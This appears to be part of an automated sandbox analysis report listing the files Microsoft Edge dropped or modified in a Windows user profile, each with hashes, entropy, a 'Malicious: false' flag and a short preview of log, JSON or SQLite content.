C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.243076705712918
Encrypted:	false
SSDEEP:	6:iOXga8QQ+q2PCHhJ23oH+Tcwt8aPrqIFUtFga8QgZmw7gahyQVkwOCHhJ23oH+Ts:78QVvBYebL3FUtWQg/1yI56YebQJ
MD5:	26862B8A7D400DB21F3A67EAEDC3D480
SHA1:	656BF0CC521665A22C0E188CA11A4BC13AA945C6
SHA-256:	24B58BAC7F3EB33769FF6A6DA1896A6AC75F7B97FDEA5A237A2A3BB4ABC8317F
SHA-512:	52D945EFA299DA1FF60567366ED7A7DD0F0A19B578B9E3A0831C742BCC4C2EB2CAF67F92A9DFFB9CF1C00C622B18839BDF0A961727F8724C1DC3A719EE4EEE7C
Malicious:	false
Preview:	2025/02/07-11:44:03.906 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/07-11:44:03.906 4f8 Recovering log #3.2025/02/07-11:44:03.907 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.243076705712918
Encrypted:	false
SSDEEP:	6:iOXga8QQ+q2PCHhJ23oH+Tcwt8aPrqIFUtFga8QgZmw7gahyQVkwOCHhJ23oH+Ts:78QVvBYebL3FUtWQg/1yI56YebQJ
MD5:	26862B8A7D400DB21F3A67EAEDC3D480
SHA1:	656BF0CC521665A22C0E188CA11A4BC13AA945C6
SHA-256:	24B58BAC7F3EB33769FF6A6DA1896A6AC75F7B97FDEA5A237A2A3BB4ABC8317F
SHA-512:	52D945EFA299DA1FF60567366ED7A7DD0F0A19B578B9E3A0831C742BCC4C2EB2CAF67F92A9DFFB9CF1C00C622B18839BDF0A961727F8724C1DC3A719EE4EEE7C
Malicious:	false
Preview:	2025/02/07-11:44:03.906 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/07-11:44:03.906 4f8 Recovering log #3.2025/02/07-11:44:03.907 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.228316464465609
Encrypted:	false
SSDEEP:	6:iOXgavQQ+q2PCHhJ23oH+Tcwt865IFUtFgavQgZmw7gavQQVkwOCHhJ23oH+Tcwx:7IVvBYeb/WFUtqg/sI56Yeb/+SJ
MD5:	1227A49A3D61602760E60D29BBDCC3C4
SHA1:	7558F00583DDB0DB1458B2E5EB7A34DD101A2F4A
SHA-256:	E557D8EF7BE9D1FC9FB103E4F936F7B5096ABEEE757B1D5C5789C2193C1C1C84
SHA-512:	03F3FE3E7E1B41F2D9BF94075C748D4DB15081F41A43F752886C776939B914107DBBCE5C5CCB7D5DE702FFC227AC1FB9902E8DD8538E77B54606D023FD5719E4
Malicious:	false
Preview:	2025/02/07-11:44:03.910 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/07-11:44:03.910 4f8 Recovering log #3.2025/02/07-11:44:03.910 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.228316464465609
Encrypted:	false
SSDEEP:	6:iOXgavQQ+q2PCHhJ23oH+Tcwt865IFUtFgavQgZmw7gavQQVkwOCHhJ23oH+Tcwx:7IVvBYeb/WFUtqg/sI56Yeb/+SJ
MD5:	1227A49A3D61602760E60D29BBDCC3C4
SHA1:	7558F00583DDB0DB1458B2E5EB7A34DD101A2F4A
SHA-256:	E557D8EF7BE9D1FC9FB103E4F936F7B5096ABEEE757B1D5C5789C2193C1C1C84
SHA-512:	03F3FE3E7E1B41F2D9BF94075C748D4DB15081F41A43F752886C776939B914107DBBCE5C5CCB7D5DE702FFC227AC1FB9902E8DD8538E77B54606D023FD5719E4
Malicious:	false
Preview:	2025/02/07-11:44:03.910 4f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/07-11:44:03.910 4f8 Recovering log #3.2025/02/07-11:44:03.910 4f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.192377386010582
Encrypted:	false
SSDEEP:	6:iOXgm+yq2PCHhJ23oH+Tcwt8NIFUtFgmo1Zmw7gmBRkwOCHhJ23oH+Tcwt8+eLJ:7r+yvBYebpFUttm/3BR56YebqJ
MD5:	BEE5D80C5ABEEF93545BE6963C2511E9
SHA1:	7FD21E8016C925D7295D61DBFBD304AA65AC7DC8
SHA-256:	0F97B8C2C5065055E6523E137CE0E051A257D45FBFAB66CBAB5EC30348A3F99A
SHA-512:	0DC0BCE650B3346914104833697E8073F3F38FC7496CBDC3EF2ACC5AB10D8BE8B065481FC8A85F01689AA7799F3586CD7B8D9FDF2F14BADCA54ADF35194B225A
Malicious:	false
Preview:	2025/02/07-11:44:04.785 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/07-11:44:04.785 770 Recovering log #3.2025/02/07-11:44:04.786 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.192377386010582
Encrypted:	false
SSDEEP:	6:iOXgm+yq2PCHhJ23oH+Tcwt8NIFUtFgmo1Zmw7gmBRkwOCHhJ23oH+Tcwt8+eLJ:7r+yvBYebpFUttm/3BR56YebqJ
MD5:	BEE5D80C5ABEEF93545BE6963C2511E9
SHA1:	7FD21E8016C925D7295D61DBFBD304AA65AC7DC8
SHA-256:	0F97B8C2C5065055E6523E137CE0E051A257D45FBFAB66CBAB5EC30348A3F99A
SHA-512:	0DC0BCE650B3346914104833697E8073F3F38FC7496CBDC3EF2ACC5AB10D8BE8B065481FC8A85F01689AA7799F3586CD7B8D9FDF2F14BADCA54ADF35194B225A
Malicious:	false
Preview:	2025/02/07-11:44:04.785 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/07-11:44:04.785 770 Recovering log #3.2025/02/07-11:44:04.786 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647702294117792
Encrypted:	false
SSDEEP:	384:aj9P0kcSQkQerkP/KbtZ773pL7jlGhCgam6ItRKToaAu:adeSe2kP/w7VlGv9RKcC
MD5:	50C3C608F40D055E0FEDE94FB111E69B
SHA1:	61C75F614AA301B880A79DEB0D07F753DD7D2E7E
SHA-256:	8B3AC8C88B775A40D2D466C76142293BD68EBF40BFDB69D95272A5069FF8F3E6
SHA-512:	57D6CA3387480756F4C1182B18092E8735B6DBCB575E14A7980C12FA9C38823D49772D2E5B8AE03759B9E5786B05E6F0613C6361D58FCD52ACC56D75988FC844
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.275306954592934
Encrypted:	false
SSDEEP:	12:7KjyvBYeb8rcHEZrELFUtjtX/RtjR56Yeb8rcHEZrEZSJ:7KjYBYeb8nZrExgxD6Yeb8nZrEZe
MD5:	4FFC52B563A9F58F545BF7405F51DD50
SHA1:	997995E2888DA42E7DCA969739AAA699A1A5AB8A
SHA-256:	D482C4D2ECD308D5F82F602A1172C6222C06FED75BE28DEE8C27BA4ECAC19ECD
SHA-512:	A8B3A639F443511FEA7800E6AB209D4D54716A6232660BAFF8F6544BD0015CC04AD24634BCAA09DBFCDBBDFB7BB6492DDA4CC94C0EDD469C03F484980FD3616D
Malicious:	false
Preview:	2025/02/07-11:44:08.204 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/07-11:44:08.205 770 Recovering log #3.2025/02/07-11:44:08.205 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.275306954592934
Encrypted:	false
SSDEEP:	12:7KjyvBYeb8rcHEZrELFUtjtX/RtjR56Yeb8rcHEZrEZSJ:7KjYBYeb8nZrExgxD6Yeb8nZrEZe
MD5:	4FFC52B563A9F58F545BF7405F51DD50
SHA1:	997995E2888DA42E7DCA969739AAA699A1A5AB8A
SHA-256:	D482C4D2ECD308D5F82F602A1172C6222C06FED75BE28DEE8C27BA4ECAC19ECD
SHA-512:	A8B3A639F443511FEA7800E6AB209D4D54716A6232660BAFF8F6544BD0015CC04AD24634BCAA09DBFCDBBDFB7BB6492DDA4CC94C0EDD469C03F484980FD3616D
Malicious:	false
Preview:	2025/02/07-11:44:08.204 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/07-11:44:08.205 770 Recovering log #3.2025/02/07-11:44:08.205 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	5.64933390950804
Encrypted:	false
SSDEEP:	24:nZWMuhUlZ8MkzrCAF+qCPnXCWMV0374gaq6MyG:nZzL8MkvlCPnXRMV0374/+yG
MD5:	3F940A14191DCBE2C6EE76EE45E1594F
SHA1:	036FFD11C68B48A22D1E437B658A02D0FE795593
SHA-256:	D1133603DCBFDB51A3BFAA2DAD2662A3B9037D73727F9592B21D223D822D9F13
SHA-512:	AF1DAC9179DFC799353CE3F80921D36E01B90C6769589B518B7D70545AAAFFE6DF10E157423B6D6F41BDC18A2F6DBC5FAE51523E3C74FA40E842FD2F4B2B111F
Malicious:	false
Preview:	dk.^.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1738946651092.._https://ntp.msn.com..MUID!.16F3E7E4A92E6FCB3913F268A8A46EEA.%_https://ntp.msn.com..authRecordTrail...[{"time":"2025-02-07T16:44:11.007Z","action":"NUT","result":"SUCCESS","state":{"isSignedIn":false,"accountType":"UNSUPPORTED_SOVEREIGNTY","signedInAccounts":[0],"storage":{"elt":0,"lt":0,"aace":0,"ace":0,"app_anon":0,"anon":0,"app_wid":0},"appType":"edgeChromium","pageType":"dhp"}}].._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1738946651165,"schedule":[16,-1,4,-1,38,-1,-1],"scheduleFixed":[16,-1,4,-1,38,-1,-1],"simpleSchedule":[51,33,50,27,52,19,9]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250207.139"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.123210949002853
Encrypted:	false
SSDEEP:	6:iOXg5wOq2PCHhJ23oH+Tcwt8a2jMGIFUtFg9cZmw7gpFkwOCHhJ23oH+Tcwt8a23:7svBYeb8EFUtP/e56Yeb8bJ
MD5:	58DC2EB167D60FDF9ADD35F476E94F72
SHA1:	6A18DEC5309F090085D101F0717E658FED9546FA
SHA-256:	E22107D92E855A41818223AECD992EC899D5440293DCB424E85F4D3A53397F85
SHA-512:	A9053B9E7A1FFCFEFE04B3940D2DA9B7C6AF55E949DE5CDE14FDEE423625F7CD5EF84323D4A7FE318B7D207C612865289092F53C49B515ABFC795AA86F814F56
Malicious:	false
Preview:	2025/02/07-11:44:04.170 c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/07-11:44:04.174 c40 Recovering log #3.2025/02/07-11:44:04.177 c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.123210949002853
Encrypted:	false
SSDEEP:	6:iOXg5wOq2PCHhJ23oH+Tcwt8a2jMGIFUtFg9cZmw7gpFkwOCHhJ23oH+Tcwt8a23:7svBYeb8EFUtP/e56Yeb8bJ
MD5:	58DC2EB167D60FDF9ADD35F476E94F72
SHA1:	6A18DEC5309F090085D101F0717E658FED9546FA
SHA-256:	E22107D92E855A41818223AECD992EC899D5440293DCB424E85F4D3A53397F85
SHA-512:	A9053B9E7A1FFCFEFE04B3940D2DA9B7C6AF55E949DE5CDE14FDEE423625F7CD5EF84323D4A7FE318B7D207C612865289092F53C49B515ABFC795AA86F814F56
Malicious:	false
Preview:	2025/02/07-11:44:04.170 c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/07-11:44:04.174 c40 Recovering log #3.2025/02/07-11:44:04.177 c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1eac1ef8-242d-4bb3-9a0d-cfc42d89237d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9cb756dc-75d2-42f1-8b2c-4c675bf34191.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	20480
Entropy (8bit):	2.7851025821017403
Encrypted:	false
SSDEEP:	96:te+AuHnHyofzFfZXrQk3eS0gGdPKx8INH6z+/D2xCBblwXckO0L/ZJV8Y:tTHVzFfZbV3eXrduTD2x2wXcf0L/ZJVb
MD5:	50F980680D7336D86E151EC25D2DEEC5
SHA1:	CBE46CCA016E06BAC7C90ED1ADBEC1A73D413CFF
SHA-256:	76EA1ACA006CF1FFAF81D19B3DE38ED8444A80CCFA1AC47F129E222680E83220
SHA-512:	F4FB16234D0CD008D1A25DAA47DEF7C06F19BAB9C857C3BF3CC60FA073BD7BA04FD49BF5AD8C0E0F22004D60A96F9E1404E7ADE32D347B4C4E76752DF2A573D9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.280402000578159
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBo7d:OIEumQv8m1ccnvS6R6mdKiiSz1a
MD5:	A376D2903EA20C85C88C13944BF1E575
SHA1:	513CB283BA933B9BBB3D1FD068E1CA9AFFA6FB50
SHA-256:	7C94569507019E8947FF25A17728A54CB187EB2CBFE57DBE1CFB763BC1446F9E
SHA-512:	C14FD057C744005CADECD8856F00B84E8B551E3A703EA6F4B92C9196CDE784E4DDAE98CA210F8CCC10E1ACEBF387439A70FA15B0B5DED27DE7A5713CEF1977DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF34651.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF35c2b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF35f57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

